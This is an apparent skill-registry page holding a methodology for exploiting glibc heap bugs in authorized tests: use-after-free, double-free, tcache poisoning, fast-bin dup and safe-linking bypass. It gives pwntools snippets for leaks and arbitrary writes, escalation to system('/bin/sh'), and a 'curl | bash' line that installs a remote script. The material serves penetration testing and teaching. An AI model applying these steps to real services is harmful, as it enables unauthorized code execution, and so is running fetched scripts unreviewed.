exploiting-glibc-heap-vulnerabilities
Methodology for exploiting glibc ptmalloc2 heap vulnerabilities during authorized engagements — use-after-free, double-free, heap overflow, and bin-based attacks (tcache poisoning, fast-bin dup, unsorted/large-bin) — including modern mitigations (tcache key, safe-linking, hook removal) and how to obtain leaks and arbitrary read/write.
适合你,如果在合法测试中需利用堆漏洞获取内存读写
npx oh-my-skill add xalgord/xalgorix/exploiting-glibc-heap-vulnerabilitiescurl -fsSL https://oh-my-skill.com/install.sh | bash -s -- xalgord/xalgorix/exploiting-glibc-heap-vulnerabilitiesnpx oh-my-skill verify xalgord/xalgorix/exploiting-glibc-heap-vulnerabilities怎么用
技能原文 SKILL.md
Exploiting glibc Heap Vulnerabilities
When to Use
- During authorized exploitation of programs that dynamically manage memory with
malloc/calloc/freeand contain use-after-free, double-free, heap overflow, or off-by-one (poison-null-byte) bugs. - When the stack is not the corruption surface but you control freed-chunk contents, chunk size fields, or allocation ordering, and want to convert that into an arbitrary read/write or code-pointer overwrite.
- When selecting a bin-specific primitive: tcache poisoning, fast-bin dup, unsorted-bin attack, large-bin attack, House of Force/Einherjar/Botcake, etc.
- When you must account for the target glibc version's mitigations (tcache
key, safe-linking, removed malloc hooks).
Critical: Concepts/Steps Most Often Missed
- Identify the glibc version FIRST — it dictates the whole strategy. tcache double-free detection (2.29+), safe-linking of singly-linked lists (2.32+), and removal of
__malloc_hook/__free_hook(2.34+) each invalidate "classic" techniques. A how2heap PoC for 2.27 will simply abort on 2.35. - Safe-linking mangles the
nextpointer. From glibc 2.32, tcache/fastbinnextis stored asstored = target ^ (chunk_addr >> 12). You almost always need a heap leak to forge a valid poisoned pointer; without it you hitmalloc(): unaligned tcache chunk detected. - Returned pointers must be 16-byte aligned. A poisoned target that is not aligned aborts before you get control. Target aligned addresses (or use the chunk's own alignment).
- tcache fills before fastbins/unsorted. The tcache (7 entries per size) intercepts frees first. To exercise a fast-bin or unsorted-bin attack you must first fill the tcache (free 7 chunks of that size) so the 8th lands in the intended bin.
- Modern end goals are not hooks. With hooks gone, pivot to: overwrite an application code pointer/vtable, get a chunk over another heap object for arbitrary R/W, or set up FSOP/
__free_hook-equivalents/ROP. House of Botcake is the standard way to create the overlap needed for modern tcache poisoning. - Double-free needs the
keybypass.free(A); free(B); free(A)works on fastbins (free another chunk in between) but tcache'skeyfield aborts plain double-frees on 2.29+ unless bypassed.
How to CONFIRM
Use a heap-aware debugger: pwndbg/gef commands heap, bins, tcachebins, vis_heap_chunks, or muslheap's mchunkinfo for musl. Confirm a double-free/overlap by allocating after the corruption and observing two pointers with the same address (e.g. i1 and i2 equal). Confirm tcache poisoning by allocating twice and verifying the second malloc returns your target address. Confirm a leak by reading a freed unsorted/small-bin chunk's fd/bk, which points into main_arena (libc) — a recognizable libc-relative address.
Workflow
Step 1: Fingerprint the Allocator and Bug
pwn checksec ./vuln ./vuln &; cat /proc/$!/maps | grep libc # find libc path/version strings libc.so.6 | grep "GNU C Library" # exact version -> picks the technique
Classify the primitive: UAF (read/write after free), double-free, linear heap overflow (overwrite next chunk's size/fd), or off-by-one NUL (shrink/extend a size field).
Step 2: Get an Info Leak (libc / heap base)
# Fill tcache (7 frees), free one more so it enters the unsorted bin, # then read the victim's fd/bk -> points into main_arena (libc). # A heap leak (needed for safe-linking) comes from reading a freed tcache fd.
from pwn import *
libc = ELF('./libc.so.6')
# after leaking an unsorted-bin fd into 'leak':
libc.address = leak - (libc.symbols['__malloc_hook'] + 0x10) # main_arena offset
heap_base = (heap_leak << 12) # invert safe-linking shift
Step 3: Tcache Poisoning (most common modern primitive)
# Requires: ability to edit a freed chunk + (glibc>=2.32) a heap leak victim = malloc(0x40) # then free it into tcache target = libc.symbols['__free_hook'] # or an app code pointer / __malloc_hook (legacy) # Forge the safe-linked next pointer (glibc 2.32+) fake_next = target ^ (victim_chunk_addr >> 12) edit_freed_chunk(victim, p64(fake_next)) a = malloc(0x40) # consumes corrupted entry b = malloc(0x40) # returns chunk AT target -> arbitrary write
Step 4: Fast-bin Dup / Double-Free Variant
# Fast-bin dup (tcache full): free A, free B, free A again -> A appears twice free(A); free(B); free(A) p1 = malloc(sz) # = A edit(p1, p64(target - 0x10)) # overwrite fd to point near target (mind size check) malloc(sz); malloc(sz) # second malloc returns the target region # Modern: use House of Botcake to overlap, then tcache-poison (see Step 3)
Then escalate: overwrite __free_hook with system and free a chunk containing "/bin/sh", or overwrite a GOT entry (Partial RELRO), or drop a one_gadget. Under Full RELRO + hook removal, pivot to FSOP or a controlled vtable.
Key Concepts
| Concept | Description | |---------|-------------| | Chunk metadata | prev_size, size (low 3 bits = A/M/P flags), and fd/bk reused as list pointers when free. | | tcache | Per-thread cache, 7 entries/size, LIFO singly-linked; first bin to receive frees and serve allocs. | | Fast bins | Singly-linked LIFO for small sizes; minimal checks -> classic fd overwrite to arbitrary alloc. | | Unsorted bin | Holds recently freed large/coalesced chunks; fd/bk leak main_arena (libc address). | | tcache poisoning | Overwrite a freed entry's next so a later malloc returns an attacker-chosen address. | | Safe-linking | glibc 2.32+ stores next as ptr ^ (chunk>>12); needs a heap leak to forge. | | Double-free / fast-bin dup | Free a chunk twice (key/intermediate-free bypass) to alias two live pointers. | | House of Botcake | Modern technique using unsorted-bin consolidation to overlap chunks for tcache poisoning. | | global_max_fast | Overwriting it enlarges fast-bin size range, re-enabling fast-bin attacks on big chunks. |
Tools & Systems
| Tool | Purpose | |------|---------| | gdb + pwndbg/GEF | heap, bins, tcachebins, vis_heap_chunks, arena, find for leaks/layout. | | pwntools | Allocation driver scripting, ELF for libc symbol offsets, p64/u64, leak math, IO. | | how2heap (shellphish) | Reference PoCs for each technique per glibc version. | | one_gadget | Single-shot execve("/bin/sh") gadget in libc after a leak. | | libc-database / libc.blukat.me | Identify the exact libc version from two leaked symbol addresses. | | muslheap | musl mallocng equivalent inspection (mchunkinfo: stride, cycling offset) for Alpine targets. | | radare2 / Ghidra | Reverse the allocation logic and locate target app structures/code pointers. |
Common Scenarios
Scenario 1: UAF + heap overflow -> arbitrary write (modern glibc)
Fill tcache, push a chunk to the unsorted bin, re-allocate overwriting only the first 8 bytes to leak the residual libc pointer. Then use a 1-byte size overflow to overlap chunks, free into tcache, and poison next (with the heap leak for safe-linking) to return a chunk over a sensitive structure.
Scenario 2: Double-free (fast-bin dup) -> hook overwrite (legacy)
Tcache full; free(h); free(i); free(h) aliases h. Allocate, point fd just before __malloc_hook, allocate twice, write a one_gadget. (Only valid on pre-2.34 glibc.)
Scenario 3: Off-by-one NUL -> double-free via size confusion
Allocate A,B,C (0x110); free B; free A and re-alloc to trigger the NUL overflow shrinking B's size to 0x100; free B again -> two tcache bins (0x110 and 0x100) point to the same address. Leverage with tcache poisoning.
Scenario 4: tcache metadata (indexes) corruption
Free the chunk holding tcache bookkeeping so a 0x100-shaped value is treated as a chunk; allocate it back to overwrite multiple bin heads at once, pivoting several size classes.
Output Format
## glibc Heap Exploitation Finding
**Vulnerability**: Heap use-after-free / double-free (CWE-416 / CWE-415)
**Severity**: Critical (arbitrary read/write -> RCE)
**Binary**: ./vuln (amd64), glibc 2.35 (safe-linking, hooks removed)
### Primitives
- UAF read on freed unsorted-bin chunk -> libc base 0x7f...000
- Heap leak from freed tcache fd -> heap base 0x55...000 (defeats safe-linking)
- House of Botcake overlap -> tcache poisoning -> arbitrary write
### Exploitation
Poisoned tcache next (mangled) to return a chunk over the FILE vtable (FSOP),
redirecting exit() flow to system("/bin/sh").
### Impact
Arbitrary code execution as the service account.
### Recommendation
1. Fix the lifetime bug: null pointers after free, prevent reuse/double-free.
2. Build with -D_FORTIFY_SOURCE=2, Full RELRO, PIE; keep glibc current (safe-linking, hook removal).
3. Add allocation hardening (e.g. hardened allocators, MALLOC_CHECK_/glibc tcache checks) where feasible.
4. Validate all size/length inputs to prevent overflow into chunk metadata.